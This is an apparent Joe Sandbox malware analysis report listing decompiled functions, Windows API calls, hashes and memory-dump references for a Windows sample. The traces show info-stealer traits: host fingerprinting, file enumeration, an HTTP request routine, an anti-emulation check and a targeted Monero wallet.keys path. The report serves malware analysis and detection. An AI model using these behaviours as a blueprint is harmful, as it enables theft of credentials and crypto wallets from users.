Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: e8f987558302f5cedbd01e9c737a124a85b170beeec49d7a46c501ead9b1a0f3
Instruction ID: d94f5cc1ced7e5b34e9debabb1e4a19d53d8db391d276c2f8020edbfb13e4e63
Opcode Fuzzy Hash: e8f987558302f5cedbd01e9c737a124a85b170beeec49d7a46c501ead9b1a0f3
Instruction Fuzzy Hash: 68112130900449A7EB18FF74DD9AAED7B78BF90300F408555FC1A66592EF386B05DB92

Function 00584F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00588DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00588E0B

lstrcat.KERNEL32(?,00000000), ref: 00584F7A
lstrcat.KERNEL32(?,00591070), ref: 00584F97
lstrcat.KERNEL32(?,01309490), ref: 00584FAB
lstrcat.KERNEL32(?,00591074), ref: 00584FBD

Part of subcall function 00584910: wsprintfA.USER32 ref: 0058492C
Part of subcall function 00584910: FindFirstFileA.KERNEL32(?,?), ref: 00584943

Part of subcall function 00584910: StrCmpCA.SHLWAPI(?,00590FDC), ref: 00584971
Part of subcall function 00584910: StrCmpCA.SHLWAPI(?,00590FE0), ref: 00584987
Part of subcall function 00584910: FindNextFileA.KERNEL32(000000FF,?), ref: 00584B7D
Part of subcall function 00584910: FindClose.KERNEL32(000000FF), ref: 00584B92

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 5fb502f0527f702c6c23f321f8a41fb1c2c37694d42ca228870c1c855fb26ea2
Instruction ID: 3c4600e4dffeec8e01aaf436c45bf68376f7df11f5808b22f2a8886681772b86
Opcode Fuzzy Hash: 5fb502f0527f702c6c23f321f8a41fb1c2c37694d42ca228870c1c855fb26ea2
Instruction Fuzzy Hash: 77219B769002057BCB54F770EC4AFED377CBB94700F408694BA5952181EE7997C88F96

Function 00580740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01309430), ref: 0058079A
StrCmpCA.SHLWAPI(00000000,01309380), ref: 00580866
StrCmpCA.SHLWAPI(00000000,013093C0), ref: 0058099D

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 6fef3372aa999b1aed32e00fd6b043a2e043de6ce5592e42343fc2cf7d6bcad5
Instruction ID: 567beb601c78eee4726adf6e8c7fff1d855c1a13bb14394a005369ca42888483
Opcode Fuzzy Hash: 6fef3372aa999b1aed32e00fd6b043a2e043de6ce5592e42343fc2cf7d6bcad5
Instruction Fuzzy Hash: 1C918675B002099FDB28FF64D995EED7BB5FFD4300F508519E80A9B241DA34AA09CB92

Function 00580765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01309430), ref: 0058079A
StrCmpCA.SHLWAPI(00000000,01309380), ref: 00580866
StrCmpCA.SHLWAPI(00000000,013093C0), ref: 0058099D

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 56a052a6aed38841030a1581e939121749792cb8d5487cb52f0766df83b34bba
Instruction ID: f125588dd30418e0ff71d25a4645e0420b0ee1209d94cff1dc8e181a15d88336
Opcode Fuzzy Hash: 56a052a6aed38841030a1581e939121749792cb8d5487cb52f0766df83b34bba
Instruction Fuzzy Hash: B0818575B102099FDB18FF64D995EEDBBB5FFD4300F108519E80A9B245DB34AA06CB82

Function 005878E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00587910
RtlAllocateHeap.NTDLL(00000000), ref: 00587917
GetComputerNameA.KERNEL32(?,00000104), ref: 0058792F

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 8b82840de17fd595732423dea95d4d0e068aa7fc17fe948f03e00f646f6e3eae
Instruction ID: dca94622c4f8f6d6ea56b2288fc43e91fd01931be78a3ff068aaddf61410c975
Opcode Fuzzy Hash: 8b82840de17fd595732423dea95d4d0e068aa7fc17fe948f03e00f646f6e3eae
Instruction Fuzzy Hash: A50186B1A04208EFCB00EF94DD45FAABFB8F704B21F104619F945F3680D37859408BA5

Function 00589470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00589484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 005894A5
CloseHandle.KERNEL32(00000000), ref: 005894AF

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 893d9d92522b1ce43854dc37414b2f8c85165afa5032cec8e10e14ba9a8b69a5
Instruction ID: 8018e7955295e1f5c195d52ec5b3afeabc9549de4c7c4d03ff0de164da8c6594
Opcode Fuzzy Hash: 893d9d92522b1ce43854dc37414b2f8c85165afa5032cec8e10e14ba9a8b69a5
Instruction Fuzzy Hash: 36F03A7490020CBBEB05EFA4DC4AFE97778FB08300F008598BA0997290D6B4AA85CB95

Function 00571110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0057112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00571132
ExitProcess.KERNEL32 ref: 00571143

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 7d4c8ba57e932ee6058be1a11b8bc36910cdbb0789f0be9b2918806606eb716d
Instruction ID: 85098a248e3e91c6b67be19799e61f178be445031a27c18798edb9b2e79a3057
Opcode Fuzzy Hash: 7d4c8ba57e932ee6058be1a11b8bc36910cdbb0789f0be9b2918806606eb716d
Instruction Fuzzy Hash: 03E0E670945348FBE7107BA4EC0EF097A78BB04B01F508154F7097A5D0D6B92640979D

Function 00581A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

Part of subcall function 00587500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00587542
Part of subcall function 00587500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0058757F
Part of subcall function 00587500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00587603
Part of subcall function 00587500: RtlAllocateHeap.NTDLL(00000000), ref: 0058760A

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

Part of subcall function 00587690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005876A4
Part of subcall function 00587690: RtlAllocateHeap.NTDLL(00000000), ref: 005876AB

Part of subcall function 005877C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0058DBC0,000000FF,?,00581C99,00000000,?,0130D988,00000000,?), ref: 005877F2
Part of subcall function 005877C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0058DBC0,000000FF,?,00581C99,00000000,?,0130D988,00000000,?), ref: 005877F9

Part of subcall function 00587850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005711B7), ref: 00587880
Part of subcall function 00587850: RtlAllocateHeap.NTDLL(00000000), ref: 00587887
Part of subcall function 00587850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0058789F

Part of subcall function 005878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00587910
Part of subcall function 005878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00587917
Part of subcall function 005878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0058792F

Part of subcall function 00587980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00590E00,00000000,?), ref: 005879B0
Part of subcall function 00587980: RtlAllocateHeap.NTDLL(00000000), ref: 005879B7
Part of subcall function 00587980: GetLocalTime.KERNEL32(?,?,?,?,?,00590E00,00000000,?), ref: 005879C4
Part of subcall function 00587980: wsprintfA.USER32 ref: 005879F3

Part of subcall function 00587A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0130E1D8,00000000,?,00590E10,00000000,?,00000000,00000000), ref: 00587A63
Part of subcall function 00587A30: RtlAllocateHeap.NTDLL(00000000), ref: 00587A6A
Part of subcall function 00587A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0130E1D8,00000000,?,00590E10,00000000,?,00000000,00000000,?), ref: 00587A7D

Part of subcall function 00587B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0130E1D8,00000000,?,00590E10,00000000,?,00000000,00000000), ref: 00587B35

Part of subcall function 00587B90: GetKeyboardLayoutList.USER32(00000000,00000000,005905AF), ref: 00587BE1
Part of subcall function 00587B90: LocalAlloc.KERNEL32(00000040,?), ref: 00587BF9
Part of subcall function 00587B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00587C0D
Part of subcall function 00587B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00587C62
Part of subcall function 00587B90: LocalFree.KERNEL32(00000000), ref: 00587D22

Part of subcall function 00587D80: GetSystemPowerStatus.KERNEL32(?), ref: 00587DAD

GetCurrentProcessId.KERNEL32(00000000,?,0130D9E8,00000000,?,00590E24,00000000,?,00000000,00000000,?,0130E2B0,00000000,?,00590E20,00000000), ref: 0058207E

Part of subcall function 00589470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00589484
Part of subcall function 00589470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 005894A5
Part of subcall function 00589470: CloseHandle.KERNEL32(00000000), ref: 005894AF

Part of subcall function 00587E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00587E37
Part of subcall function 00587E00: RtlAllocateHeap.NTDLL(00000000), ref: 00587E3E
Part of subcall function 00587E00: RegOpenKeyExA.KERNEL32(80000002,012FC068,00000000,00020119,?), ref: 00587E5E
Part of subcall function 00587E00: RegQueryValueExA.KERNEL32(?,0130DA08,00000000,00000000,000000FF,000000FF), ref: 00587E7F
Part of subcall function 00587E00: RegCloseKey.ADVAPI32(?), ref: 00587E92

Part of subcall function 00587F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00587FC9
Part of subcall function 00587F60: GetLastError.KERNEL32 ref: 00587FD8

Part of subcall function 00587ED0: GetSystemInfo.KERNEL32(00590E2C), ref: 00587F00
Part of subcall function 00587ED0: wsprintfA.USER32 ref: 00587F16

Part of subcall function 00588100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0130E418,00000000,?,00590E2C,00000000,?,00000000), ref: 00588130
Part of subcall function 00588100: RtlAllocateHeap.NTDLL(00000000), ref: 00588137
